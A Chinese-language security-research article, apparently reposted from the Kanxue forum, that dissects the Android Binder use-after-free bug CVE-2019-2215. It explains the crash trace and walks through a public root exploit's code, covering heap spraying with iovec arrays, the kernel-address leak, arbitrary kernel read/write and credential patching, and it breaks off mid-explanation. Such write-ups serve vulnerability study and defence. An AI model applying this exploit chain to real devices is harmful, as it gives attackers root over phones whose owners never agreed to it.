Android内核提权漏洞CVE-2019-2215 Binder UAF
2021-03-17 19:00:41 Author: mp.weixin.qq.com(查看原文) 阅读量:246 收藏

本文为看雪论坛精华文章

看雪论坛作者ID:amzilun

一、漏洞简述

二、漏洞复现

环境是google pixel2 欧版 + 安卓NDK android-ndk-r20-linux-x86_64
 
为了方便内核调试还需要编译一份goldfish模拟器内核的源码,然后用qemu+gdb去调试它,貌似无法直接调试真机的内核,有没有知道方法的猛男?
 
POC:
https://github.com/kangtastic/cve-2019-2215
 
编译和运行的方法readme里说的很清楚,不想编译的同学甚至可以直接下载人家编译好的二进制文件来用。
 
因为这个poc他适配了pixel2特定版本的内核,所以需要一台能解BL(bootloader)锁的pixel2(欧版可以解,美版因为运营商垄断导致卖的定制机都不能解)并刷入相应版本的镜像,实测这个镜像 https://dl.google.com/dl/android/aosp/walleye-qp1a.190711.020-factory-fa9552ea.zip 可用。具体的线刷方法不再赘述。

三、漏洞原理和崩溃分析

崩溃报告为:https://groups.google.com/g/syzkaller-bugs/c/QyXdgUhAF50/m/g-FXVo1OAwAJ。

看一下崩溃时的调用栈:

Call Trace:...__lock_acquire+0x465e/0x47f0 kernel/locking/lockdep.c:3378lock_acquire+0x1d5/0x580 kernel/locking/lockdep.c:4004__raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline]_raw_spin_lock_irqsave+0x96/0xc0 kernel/locking/spinlock.c:159remove_wait_queue+0x81/0x350 kernel/sched/wait.c:50ep_remove_wait_queue fs/eventpoll.c:595 [inline]ep_unregister_pollwait.isra.7+0x18c/0x590 fs/eventpoll.c:613ep_free+0x13f/0x320 fs/eventpoll.c:830ep_eventpoll_release+0x44/0x60 fs/eventpoll.c:862__fput+0x333/0x7f0 fs/file_table.c:210____fput+0x15/0x20 fs/file_table.c:244task_work_run+0x199/0x270 kernel/task_work.c:113exit_task_work include/linux/task_work.h:22 [inline]do_exit+0x9bb/0x1ae0 kernel/exit.c:865do_group_exit+0x149/0x400 kernel/exit.c:968SYSC_exit_group kernel/exit.c:979 [inline]SyS_exit_group+0x1d/0x20 kernel/exit.c:977do_syscall_32_irqs_on arch/x86/entry/common.c:327 [inline]do_fast_syscall_32+0x3ee/0xf9d arch/x86/entry/common.c:389entry_SYSENTER_compat+0x51/0x60 arch/x86/entry/entry_64_compat.S:125
发现是自旋锁崩了!很奇怪。一般来说自旋锁出问题最多只是死锁,为什么会崩?

我们通过调用栈找到源代码来看一下:

void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry){    unsigned long flags;    spin_lock_irqsave(&wq_head->lock, flags);    __remove_wait_queue(wq_head, wq_entry);    spin_unlock_irqrestore(&wq_head->lock, flags);}

第二行__remove_wait_queue字面上看是移除出等待队列,但还没来得及移除什么东西就崩溃在spin_lock_irqsave里了,应改是&wq_head->lock这里有问题。如果wq_head->lock是被漏洞给改错了问题也不大,因为最多是死锁,而这里却是崩溃。

只能认为不是锁错了而是锁压根就不存在,应该是这个锁所在的内存已经被释放掉了,之后用到时就出现访问错误才导致崩溃,不然说不通。
到底哪里提前释放了它呢?这份报告居然还提供了UAF对象什么时候分配释放的,不得不感叹这个挖洞工具的强大哈。我们看下:
Allocated by task 3086:...binder_get_thread+0x1cf/0x870 drivers/android/binder.c:4184binder_poll+0x8c/0x390 drivers/android/binder.c:4286ep_item_poll.isra.10+0xec/0x320 fs/eventpoll.c:884ep_insert+0x6a3/0x1b10 fs/eventpoll.c:1455SYSC_epoll_ctl fs/eventpoll.c:2106 [inline]...Freed by task 3086:...__cache_free mm/slab.c:3491 [inline]kfree+0xca/0x250 mm/slab.c:3806binder_free_thread drivers/android/binder.c:4211 [inline]binder_thread_dec_tmpref+0x27f/0x310 drivers/android/binder.c:1808binder_thread_release+0x27d/0x540 drivers/android/binder.c:4275binder_ioctl+0xc05/0x141a drivers/android/binder.c:4492..

从调用栈只能看出系统调用了epoll_ctl分配内存,调用了binder_ioctl释放了内存,自旋锁崩溃发生在remove_wait_queue,即调用了do_exit程序正常退出时,虽然看不出来传了什么具体参数,但已经提供了足够的信息。 

我们不妨猜测:正常情况下是epoll_ctl创建了一个内核对象,线程退出后执行do_exit自动清理该对象,binder_ioctl是恶意操作并导致内存被提前释放,等线程真正退出时由于内存已经被释放,检查对象内的自旋锁状态时就直接崩溃。

git的提交记录验证了这个猜想:https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/drivers/android/binder.c?h=linux-4.14.y&id=7a3cee43e935b9d526ad07f20bf005ba7e74d05b

里面给出了官方的解释,非常清晰:

binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT,the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free. Prevent this by using POLLFREE when the thread exits.

那么这个UAF对象到底是啥,我们从漏洞的报告的释放对象那里找去找线索。
通过binder_free_thread drivers/android/binder.c:4211 [inline]找到源码。
static void binder_free_thread(struct binder_thread *thread){    BUG_ON(!list_empty(&thread->todo));    binder_stats_deleted(BINDER_STAT_THREAD);    binder_proc_dec_tmpref(thread->proc);    kfree(thread);}

看到最后一行kfree(thread)释放的是thread所以UAF对象是一个binder_thread类型的结构体。

这份报告还给出了触发崩溃的过程:

#{Threaded:false Collide:false Repeat:false Procs:1 Sandbox: Fault:false FaultCall:-1 FaultNth:0 EnableTun:false UseTmpDir:false HandleSegv:false WaitRepeat:false Debug:false Repro:false}mmap(&(0x7f0000000000/0xfff000)=nil, 0xfff000, 0x3, 0x32, 0xffffffffffffffff, 0x0)r0 = syz_open_dev$binder(&(0x7f0000001000)="2f6465762f62696e6465722300", 0x0, 0x0)r1 = epoll_create(0x10001)epoll_ctl$EPOLL_CTL_ADD(r1, 0x1, r0, &(0x7f0000337000-0xc)={0x2019, 0x0})ioctl$BINDER_THREAD_EXIT(r0, 0x40046208, 0x0)

四、POC的整体架构

拿到POC,首先第一眼就让人感到舒适、简洁。他没有封装成一个个子函数而是构建了一个函数指针+函数描述的结构体,这样执行了哪几步,每一步都是做什么的就非常一目了然,如下:
struct stage_t stages[] = {    {prepare_globals, "startup"},    {find_current, "find kernel address of current task_struct"},    {obtain_kernel_rw, "obtain arbitrary kernel memory R/W"},    {find_kernel_base, "find kernel base address"},    {patch_creds, "bypass SELinux and patch current credentials"},    {launch_shell, NULL},    {launch_debug_console, NULL},};void execute_stage(int stage_idx) {    stage_desc = stages[stage_idx].desc;    (*stages[stage_idx].func)();    ...}int main(int argc, char *argv[]) {    ...    execute_stage(0); /* prepare_globals() */    execute_stage(1); /* find_current() */    execute_stage(2); /* obtain_kernel_rw() */    execute_stage(3); /* find_kernel_base() */    ...}
这很酷。接下来一步步分析,每个阶段发生了什么。

五、初始化:prepare_globals

void prepare_globals(void) {    pid = getpid();
struct utsname kernel_info; if (uname(&kernel_info) == -1) err(1, "determine kernel release"); if (strcmp(kernel_info.release, "4.4.177-g83bee1dc48e8")) warnx("kernel version-BuildID is not '4.4.177-g83bee1dc48e8'");
dummy_page = mmap((void *)0x100000000ul, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (dummy_page != (void *)0x100000000ul) err(1, "mmap 4g aligned"); if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");
binder_fd = open("/dev/binder", O_RDONLY); epoll_fd = epoll_create(1000);}
通过getpid()获取当前进程的PID后,将其作为参数输入uname函数,并把读出来的信息放到kernel_info这个传出参数里。uname是一个获取系统信息的函数,我们经常用uname -r命令查看操作系统的内核版本,这里他会从kernel_info读出系统的内核额版本并判断是否是4.4.177-g83bee1dc48e8。
 
然后用mmap映射两个页大小的内存到在0x100000000ul这个地址去,ul表示是无符号长型,避免了z最高位被错误当作符号位来解析。为什么往0x100000000这个地方映射不往别地?这个数值是非常特殊的,以后会作为信息泄漏的关键,这里简单提下,关键特征是低四字节为0,用它来占位了UAF对象的自旋锁字段可以绕过自旋锁的校验,在后面会讲到,反正现在就知道这数是精心构造就行。
至于为什么是两个页,还有一点需要注意,0x100000000ul表示的是4GB,这个值是个“线索”,实际映射地址是他的整数倍,即实际的地址是4GB对齐的,虽然我就想让他映射到这,但是要注意不是说我想这么做就一定会成功,他也许还映射到0x200000000呢,所以还需要if (dummy_page != (void *)0x100000000ul)做个检查。
 
最后创建管道,binder_fd和epoll的文件描述符。这个管道和我们一会用来做信息泄露用到的管道是两码事,这只是个普通的文件,而那个管道用法就非常骚气,一会再说。binder_fd和epoll_fd都是初始化,注意epoll_fd = epoll_create(1000)不等于最多就能接受1000个文件句柄,这个我会详细说。

六、内核信息泄漏:find_current

这一步是利用漏洞泄漏出task_struct结构体的内存地址。task_struct是用于描述整个进程的,这个结构体超级大,他就相当于是Windows下的EPROCESS结构体,重要性可见一斑。

我会仔细分析每一段代码的含义,先从find_current开头,初始化epoll开始。

epoll_fd = epoll_create(1000);struct epoll_event event = {.events = EPOLLIN};if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))    err(1, "epoll_add");

epoll是啥?关于epoll简单科普下。IO多路复用中最常用的是seclect,poll,epoll三个函数族,redis,ngix等大名鼎鼎的框架之所以能有极高的并发处理能力离不开对epoll的使用。这三族函数的作用,都是监听文件里有没有数据的,如果有数据就返回,否则就一直阻塞(但可以设置阻塞/非阻塞,以及超时时间)。

epoll_ctl需要四个参数,一个epoll_fd,由epoll_create(1000)创建,用来代表所有被监控文件的描述符的集合,这里1000可以随便填,并不是最大能监听的文件描述符数量。第二个参数是驱动的命令字,比如EPOLL_CTL_ADD就是把binder_fd添加进监听序列。第三个参数被监听文件的描述符。
最后一个是event,这个相当于一个“配置文件”,其中的event字段记录了要监听的事件类型,比如这里设置.events = EPOLLIN就表示监听写入binder_fd文件的写入事件,总之是添加被监听的文件和监听事件的类型。
还有一个重要的函数是epoll_wait(POC里没用到)简单说下:比如我设置了监听文件的写入事件,而被监听的文件共有10个,如果有三个被写进去数据了,那么他就返回3,而且返回后只需处理被监听数组前3个元素即可,因为这些文件描述符已经被重新排序,监听到被写入事件的文件描述符将被放到数组最前面。
 
但是上述结论是epoll处理socket文件的情景,处理binder用的是别的内核函数,所以一定会有些差异,比如内核里处理socket是使用一棵监听红黑树管理文件描述符,但处理binder时使用的是一个等待链表。但差别不会很大。对源代码层面的解读详见版主大大的文章:
https://bbs.pediy.com/thread-264932.htm
但是写完后我感到对漏洞的分析没多大帮助,其实这几行代码只起了两个关键作用:
1. 在内核中创建binder相关的数据结构
2. 把这个数据结构链入epoll的等待链表wait_queue里。为什么还要写呢?因为不写精力就白费了:)

接下来这部分就很神奇了,关于UAF类漏洞一个比较通用的利用方法:iovec方法,是POC的核心技术.因为没有官方说法所以姑且这么叫,这是腾讯Keen实验室的大神研究员 Di Shen 在https://www.youtube.com/watch?v=U2qvK1hJ6zg&t=1618s 里公布的攻击方法。下面这几行代码包含的信息量是巨大的:

binder_iovecs bio;memset(&bio, 0, sizeof(bio));bio.iovs[iov_idx].iov_base = dummy_page;             /* spinlock in the low address half must be zero */bio.iovs[iov_idx].iov_len = PAGE_SIZE;               /* wq->task_list->next */bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;

先解释下向量化IO:它属于linux的高级IO,即可以一次性的从多个缓冲区读出数据并写入到数据流,又能数据流读出数据一次性写入多个缓冲区,而上述操作都只经过一次系统调用因此大大缩小了系统的开销。

应用场景如,我拿到了一个http数据包,我想把包里的请求行,请求头,请求体分别放到buf1,buf2,buf3,用这个就能一步到位,高效处理网络流量。而POC里设置了基址是dummy_page,大小是PAGE_SIZE和基址是(void *)0xdeadbeef,大小是PAGE_SIZE两个有效的iovec结构体,其余没用,都是基址是0大小也是0。

为什么要设置binder_iovecs呢,他存在的意义是啥?他的作用是占位UAF对象binder_thread.当释放binder_thread时迅速用事先精心构造好的一个结构去占位,是UAF漏洞常用的利用方法。然后执行do_exit的remove_wait_queue就会发生些奇妙的事,后面讲到。
那如何确定占位内存块的大小呢?为什么binder_iovecs bio被设置成512个字节,明明binder_thread没这么大啊?我们回看崩溃现场,里面有这么一句话:

The buggy address belongs to the object at ffff8801cd8e1340 which belongs tothe cache kmalloc-512 of size 512 The buggy address is located 176 bytes inside of 512-byte region [ffff8801cd8e1340, ffff8801cd8e1540)

内核对象binder_thread需要的内存是slab分配器分配,内存被释放后内存被链接回到kmalloc-512里,说明我们需要构造512个字节的结构体来占位。
 
那为什么不用其他数据结构填充,比如都是一堆char呢,颗粒度够细绝对能模拟全部的数据结构,非要用这个iovec呢。原因在于,
 
第一、我们只能在三环创建数据结构,O环真的把这个结构拷贝进内核了吗,没有是不占用内核内存的,没法起到替换/占位的作用。
 
第二、即便拷贝进去了,能不能能利用结构体关联的函数/机制做进一步的利用呢。iovec结构体背后的机制,就是所谓向量化I/O就非常适合,它有4方面优势。
 
1. 由于binder_iovecs是由多个iovec 组成的iovec 数组,数组长度是由攻击者控制的,通过调节数组长度就能得到想要的大小了。
 
2. 两个成员变量里有一个是指针,并且可以从这个指针里读/写数据。
 
3. 这个结体足够小,因为AARCH64架构一般是8字节的内存对齐,所以可以近似把大部分内核对象的大小都视为8字节的整数倍,由于ARM64下单个iovec只有16字节,几乎可以用它占位所有的UAF对象了,是64为OS下一个比较通用的UAF漏洞利用方案。iovec结构体如下:
struct iovec {         // Size: 0x10    void *iov_base;    // 0x00    size_t iov_len; // 0x08}

4. iovec数组会被全部拷贝到内核,可以用来占用内核内存的。

那为什么从下标iov_idx开始的iovec结构体是有效的,为什么不是从第4个,或者第7个开始有效?因为bio.iovs[iov_idx]相对于bio.iovs[0]的偏移,就是wait_queue_head_t wait相对于UAF对象binder_thread的偏移,我改写bio.iovs[iov_idx]这个字段就相当与改写了binder_thread里的wait字段。巧妙吧,两者重叠了。
 

还有一个问题,那为什么要给POC中iovec设置了两个如此奇怪的内存区域,一个是从dummy_page开始,大小是PAGE_SIZE,以及从0xdeadbeef开始大小为PAGE_SIZE。

dummy_page之前已经确认是0x100000000ul了,那0xdeadbeef是啥,死牛肉?这虽然是一个合法的二进制数但肯定不是一个合法的内存地址。说明这个数,应该目前只是一个占位符,只是为了能编译通过,后面肯定会被漏洞程序在运行时改写成一个合法的地址。那咋改写的?改写成啥了呢?接着看后面的代码:

int pipe_fd[2];if (pipe(pipe_fd))    err(1, "pipe");if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)    err(1, "pipe size");static char page_buffer[PAGE_SIZE];
pid = fork();if (pid == -1) err(1, "fork");if (pid == 0) { /* Child process */ prctl(PR_SET_PDEATHSIG, SIGKILL); sleep(2); epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event); // first page: dummy data.it's read,not readv printf("child:read begin\n"); if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE) err(1, "read full pipe"); printf("child:read finish\n"); printf("page buff1 %s\n"); close(pipe_fd[1]); exit(0);}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);printf("father:writev begin\n");ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);printf("father:writev endn");if (writev_ret != (ssize_t)(2 * PAGE_SIZE)) errx(1, "writev() returns 0x%lx, expected 0x%lx\n", writev_ret, (ssize_t)(2 * PAGE_SIZE));// second page: leaked dataprintf("father:read begin\n");if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)printf("father:read finish\n"); err(1, "read full pipe");printf("page buff2 %s\n");pid_t status;if (wait(&status) != pid) err(1, "wait");
这段代码涉及到的知识点比上面那几行还要多的多。我把它拆成两个部分,详细解释内核信息是如何被巧妙的泄漏出去的。

内核信息泄漏之一:阻塞的原因及解除

阻塞的巧妙运用正是实现内核堆喷射的精髓所在:

int pipe_fd[2];if (pipe(pipe_fd))    err(1, "pipe");if (fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE) != PAGE_SIZE)    err(1, "pipe size");static char page_buffer[PAGE_SIZE];
先解释管道通信。linux下进程间通信方式有多种,如管道,socket,信号,共享内存,文件等等。管道通信是半双工的,他会首先创建一个对pipe:int pipe_fd[2],用pipe(pipe_fd)函数把他俩绑定起来。其中pipe[0]是读端,pipe[1]是写端,只能往pipe[0]读数据,另一端写数据,反过来不行,因为这个不是全双工的通信。但是socket对可以。

另外管道是读阻塞的,意味着如果不往里写数据,读操作会一直卡住。fcntl(pipe_fd[0], F_SETPIPE_SZ, PAGE_SIZE)用来设置管道的大小为一个页大小,linux 2.6.11前管道默认是一个页大小,之后默认是16个页,只需对pipe_fd[0]读端设置,写端无需设置,该设置至关重要,后面会讲。

pid = fork();...if (pid == 0) {    prctl(PR_SET_PDEATHSIG, SIGKILL);    sleep(2);    ...}

用pid = fork()创建子进程后,子进程从prctl(PR_SET_PDEATHSIG, SIGKILL)继续执行,prctl表示父进程一旦退出则发送SIGKILL信号给子进程让子进程也退出并自动回收子进程资源。接着子进程执行sleep(2)进入休眠。这个休眠时间很长,长到父进程一定会执行到结尾,或者直到发生阻塞,子进程才会继续执行。

如果子进程想等到父进程运行到退出,由于调用过prctl,父进程一旦退出后子进程也得退出那么sleep后面的代码也没机会执行了,显然不合理,但故只能是父进程运行到阻塞一种情况。可以通过插入printf打印下日志看看日志打印的先后顺序来验证这个判断。
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz);
那阻塞在哪呢?阻塞在父进程的ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz) 这句话意思是从dummy_page里读出PAGE_SIZE字节的内容,从0xdeadbeef里也读出PAGE_SIZE的内容,之后把读到的写入管道写端pipe_fd[1]。这就很奇怪了。writev函数本身是非阻塞的,但为什么会阻塞呢?
 
虽然wirtev函数是非阻塞的,但管道是读阻塞的。我们之前置了pipe的大小是一个页,所以光是从dummy_page就读了一个页的内容出来并写到管道,就已经把这个管道写满了,所以再试图向管道写数据,无论第二个iovec里的基地址0xdeadbeef有没有被替换为合法地址,都会阻塞,想解除阻塞必须先把管道的数据都读出来。
 

解除阻塞的读操作肯定是发生在子进程的,因为父进程已经动弹不得了。子进程的read操作:

if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE) /*child read*/
把管道一个页的内容读出来后,管道随即被清空,writev马上从下一个iovec即:
bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */bio.iovs[iov_idx + 1].iov_len = PAGE_SIZE;
bio.iovs[iov_idx + 1].iov_base里读PAGE_SIZE个数据写道管道,由于iov_base已被泄漏成了内核地址(iov_base是如何被改写的见下一小节),再次写入管道的数据已经是内核数据了,由于writev本来也不是阻塞的,之前写不进管道现在可以了,就马上解除阻塞并且返回总的写入的字节数。
if (writev_ret != (ssize_t)(2 * PAGE_SIZE)) /*parent read*/...if (read(pipe_fd[0], page_buffer, PAGE_SIZE) != PAGE_SIZE)printf("father:read finish\n");    err(1, "read full pipe");

然后父进程再读read(pipe_fd[0], page_buffer, PAGE_SIZE)读到的就是内核数据了。那么为何阻塞以及何时解除阻塞就介绍到这,接下来重点是,bio.iovs[iov_idx + 1].iov_base被改写内核地址的,也就是UAF过程。

内核信息泄漏之二:UAF过程详解

UAF过程离不开两个关键操作:占位UAF对象,以及把UAF摘出链表。

1. 占位UAF对象:释放UAF发生在父进程执行时:

ioctl(binder_fd, BINDER_THREAD_EXIT, NULL)
在崩溃分析那一节,我们知道这是用来释放binder_thread的,执行后kmalloc-512内存块被重新链入slab分配器。
占位UAF发生在父进程的:
ssize_t writev_ret = writev(pipe_fd[1], bio.iovs, iovs_sz)
看似只是普通的写操作,但由于内核要把全部的iovec结构体数组拷贝到内核,自然需要为iovec数组分配内核空间,那么刚刚被释放的kmalloc-512就能重新派上用场,被分配给该数组,而数组第iov_idx和第iov_idx+1项占据了原先binder_thread即UAF对象的字段wait_queue_head_t字段,相当于改写了wait_queue_head_t。

2. 把UAF对象摘出链表:

子进程会执行

epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event)
dp_exit和这个语句都能执行到remove_wait_queue(struct wait_queue_head wq_head, struct wait_queue_entry wq_entry)。上次崩溃的直接原因就是执行了这个函数.如何合理利用它泄漏内核信息呢?
void remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry){    unsigned long flags;
spin_lock_irqsave(&wq_head->lock, flags); __remove_wait_queue(wq_head, wq_entry); spin_unlock_irqrestore(&wq_head->lock, flags);}EXPORT_SYMBOL(remove_wait_queue);

和上次不同,这次执行spin_lock_irqsave(&wq_head->lock, flags)时,由于分配给binder_thread的kmalloc-512内存块被iovec结构体数组复用,所以访问&wq_head->lock就不崩溃了。

但还得保证能拿到锁,这样代码才能进临界区,而dummy_page低四字节和锁重合且全部为0,相当与锁的值是0,就能bypass自旋锁校验了。所以mmap才会选择0x100000000作为地址的“暗示”,他保证了8字节自旋锁的低4字节开始必须是0。

 

接下来我们需要深入__remove_wait_queue,看看断链的过程是怎样的。

struct binder_thread {    struct binder_proc *proc;    struct rb_node rb_node;    int pid;    int looper;    struct binder_transaction *transaction_stack;    struct list_head todo;    uint32_t return_error; /* Write failed, return error code in read buf */    uint32_t return_error2; /* Write failed, return error code in read */        /* buffer. Used when sending a reply to a dead process that */        /* we are also waiting on */    wait_queue_head_t wait;    //typedef struct __wait_queue_head wait_queue_head_t;    struct binder_stats stats;};struct __wait_queue_head {    spinlock_t        lock;    struct list_head    task_list;};struct wait_queue_entry {    unsigned int        flags;    void            *private;    wait_queue_func_t    func;    struct list_head    entry;};struct wait_queue_head {    spinlock_t        lock;    struct list_head    head;};struct list_head {    struct list_head *next, *prev;};__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry){    list_del(&wq_entry->entry);}static inline void list_del(struct list_head *entry){    __list_del_entry(entry);    entry->next = LIST_POISON1;  //#define LIST_POISON1  ((void *) 0x00100100)    entry->prev = LIST_POISON2;  //#define LIST_POISON2  ((void *) 0x00200200)}static inline void __list_del_entry(struct list_head *entry){    if (!__list_del_entry_valid(entry))        return;
__list_del(entry->prev, entry->next);}static inline void __list_del(struct list_head * prev, struct list_head * next){ next->prev = prev; WRITE_ONCE(prev->next, next);}/*注意内核源码里__list_del的重名函数太多了,千万别找错,只有/include/linux/list.h这个里才是正确的*/#define WRITE_ONCE(x, val) \({ \ union { typeof(x) __val; char __c[1]; } __u = \ { .__val = (__force typeof(x)) (val) }; \ __write_once_size(&(x), __u.__c, sizeof(x)); \ __u.__val; \})

remove_wait_queue的两个参数中,struct wait_queue_head *wq_head ,他是一个指向了binder_thread的成员变量wait_queue_head wait 的指针,wait_queue_head是epoll等待链表的链表头。


而wait_queue_entry *wq_entry代表一个被链入等待队列的被监听文件,他们都有list_head类型变量list_head,注意他们位于两个不同的对象中,list_head有两个指针域,前向指针和后向指针:
struct list_head {    struct list_head *next, *prev;};
刚想初始化时:

当链表初始化完成时形如下图,这是盗用版主的图,图里黄色部分下面的那个应该改成 task_list.prev。强烈建议看版主文章里源码分析那部分,很详细。

整个wait_queue队列里除了头部外,就是wait_queue_entry,当只有一个wait_queue_entry时,他们两个是类似“环状”,像”拥抱“一样彼此关联。调用epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event)摘链表,实际是调用的代码是:

static inline void list_del(struct list_head *entry){    __list_del_entry(entry);    entry->next = LIST_POISON1;  //#define LIST_POISON1  ((void *) 0x00100100)    entry->prev = LIST_POISON2;  //#define LIST_POISON2  ((void *) 0x00200200)}static inline void __list_del_entry(struct list_head *entry){    if (!__list_del_entry_valid(entry))        return;
__list_del(entry->prev, entry->next);}static inline void __list_del(struct list_head * prev, struct list_head * next){ next->prev = prev; WRITE_ONCE(prev->next, next);}
上述代码执行后,之前形成的环状结构变成:

也就是说,binder_thread的list_head的next和prev被赋值成为next的内存地址,这不就是把内核的地址泄漏给iovec结构体了吗?
 
wait_queue_entry的list_head的prev和next则变成了无效地址 LIST_POISON1 和 LIST_POISON2。
 
所以find_current里涉及的“互锁”行为至少有以下几点:
 
1. 子进程sleep两秒,是等到父进程必须运行到阻塞后再进行下一步,防止子进程提前被执行。
 
2. 子进程的prctl(PR_SET_PDEATHSIG, SIGKILL)是为了防止父进程执行失败直接退出后导致自身成为孤儿进程的。
 
3. 子进程执行ead(pipe_fd[0], page_buffer, PAGE_SIZE)解除了父进程writev函数的阻塞,之后父进程才得已继续执行。
 
4. 检查writev函数的返回值writev_ret是不是两个页的大小,就是在校验有没有从泄漏的内核地址中把数据拷贝出来。
 
5. 第二次read才是真正读出内核数据的。
 
这个利用真的太精彩了,简直是刀尖上跳舞。
 
当然最后我还有一个疑问,就是为什么page_buffer在0xe8处的偏移正好就是进程的task_struct结构体呢,首先+e8肯定超出了binder_thread本身大小,跑到哪里了我也不知道,但是我不得不说,如果想指望UAF对象自身的成员变量中泄露出想要的关键信息,这种可能性确实微乎其微,简直是白日做梦,有这样一个UAF对象就不错了。
还是需要通过逆向和调试漏洞的上下文,找出有利的数据结构才行吧,这个我也还没调试清楚这个上下文,但按照POC的说法,加一个0xe8的偏移,里面就是一个task_struct*结构体指针啦,这里先留个坑以后填吧。

七、实现任意地址读写:obtain_kernel_rw

目标是获取内核的任意地址读写权限。这次利用更精彩。
初始化binder_thread->wait_queue_head_t, 调用add_wait_queue插入wait_queue_t到binder_thread.wait中:
struct epoll_event event = {.events = EPOLLIN};if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event))    err(1, "epoll_add");
然后设置新的iovecs:
bio.iovs[iov_idx].iov_base = dummy_page;             /* spinlock in the low address half must be zero */bio.iovs[iov_idx].iov_len = 1;                       /* wq->task_list->next */bio.iovs[iov_idx + 1].iov_base = (void *)0xdeadbeef; /* wq->task_list->prev */bio.iovs[iov_idx + 1].iov_len = 0x8 + 2 * 0x10;      /* iov_len of previous, then this element and next element */bio.iovs[iov_idx + 2].iov_base = (void *)0xbeefdead;bio.iovs[iov_idx + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */
上次堆喷使用writev,这次使用的是recvmsg函数。recvmsg可以用来替换read、readv、recv、recvfrom而sendmsg可以用来替换write、writev、send、sendto。recvms能把数据分别写到各个bio结构体规定的基址和长度里,这次iovec规定的基址和偏移更奇怪,要往dummy_page里写一个字节,往(void )0xdeadbeef里写0x8 + 2 0x10个字节,并且往(void *)0xbeefdead写8字节,还是那么莫名其妙。

1. 为什么要往dummy_page写一字节'X'。

在此之前先补充点知识:上次用pipe对这次用socket对,pipe对读端固定是pipe[0],写端固定是pipe[1],不可能读端是pipe[1],写端是pipe[0]。socket对不同,socket对用来做进程间通信时是全双工通信,全双工通信下每一个套接字既可以读也可以写。
例如,可以往socks[0]中写,从socks[1]中读;或者从socks[1]中写,从socks[0]中读;如果往一个套接字(如socks[0])中写入后,再从该套接字读时会阻塞,只能在另一个套接字中(socks[1])上读成功。接着往socks[1]里写了一个字节。看来socket的读端是socks[0],
 
有如下代码:
int socks[2];if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks))    err(1, "socketpair");if (write(socks[1], "X", 1) != 1)    err(1, "write socket dummy byte");
为什么一定要写这么一个没任何意义的X呢?因为这个字节是为了dummy_page准备的,从上一个阶段可知,bio.iovs[iov_idx].iov_base这个字段,它的低四位必须是0,因为它和UAF后他和UAF对象binder_thread的spin_lock自旋锁是重叠的,为了不让锁阻止CPU执行临界区,自旋锁必须是0,而特意设置了一个0x100000000整数倍数的值。
另外我们必须让bio.iovs[iov_idx]这个结构体有效,否则后面的iovec都不被处理/写入,所以就给len字段一个数字1,而为了配合它我在fork前也往sock[1]里写了一个字节X。
换言之即使我write(socks[1], "XYZ", 1),然后把bio.iovs[iov_idx].iov_len改成3也是可以的。根本目的就是设置一个有效的iovec结构体。一方面保护dummy_page能成功patch UAF的自旋锁字段,让POC中摘链表的操作可以正常进行,另一方面保护后面的iovec结构体,让他们有机会被正常处理。

2. 为什么往(void )0xdeadbeef里写0x8 + 2 0x10个字节

从上一节可知,从epoll的等待链表里释放binder_thread后bio.iovs[iov_idx + 1].iov_base会被覆盖成为wait_queue_t* wait的地址,GDB调试显示:
上图bio.iovs[iov_idx + 1].iov_base字段所在的内存地址是多少?是0xffff8880959d68b0,我们知道通过UAF,bio.iovs[iov_idx + 1].iov_base和bio.iovs[iov_idx].iov_len都已经被覆盖成了(0xffff8880959d68b0-8),即second_write_chunk要被拷贝到0xffff8880959d68a8这里了,长度是0x28,也就是说1,0xdeadbeef,0x8 + 2 * 0x10,current + 0x8, 8,这几个数,他们把原来的iovec数组做了一次整体替换,相当与重新给bio.iovs赋值。
数字1占据了bio.iovs[iov_idx].iov_len(和原来的值一模一样);
0xdeadbeef占据了bio.iovs[iov_idx + 1].iov_base;
0x8 + 2 * 0x10占据了bio.iovs[iov_idx + 1].iov_len,由于这个iovec结构体被用过一次了,所以这个iov_base写啥都行。
剩下的两个数据current + 0x8和8分别占据了bio.iovs[iov_idx + 2].iov_base和bio.iovs[iov_idx + 2].iov_len,覆盖了原本的bio.iovs[iov_idx + 2].iov_base = (void *)0xbeefdead和bio.iovs[iov_idx + 2].iov_len = 8,所以 0xbeefdead 就被写成了 current + 0x8。
 
至此,原来的iovec数据全部被重写了一遍。
3. 为什么往(void *)0xbeefdead写8字节
这里是实现任意地址读写的关键。

总共三个有效的iovec结构体,前两个已经被使用过,重写成什么都无所谓了,关键是第三个iovec,它的base从被(void *)0xbeefdead改成了current + 0x8,len是8。

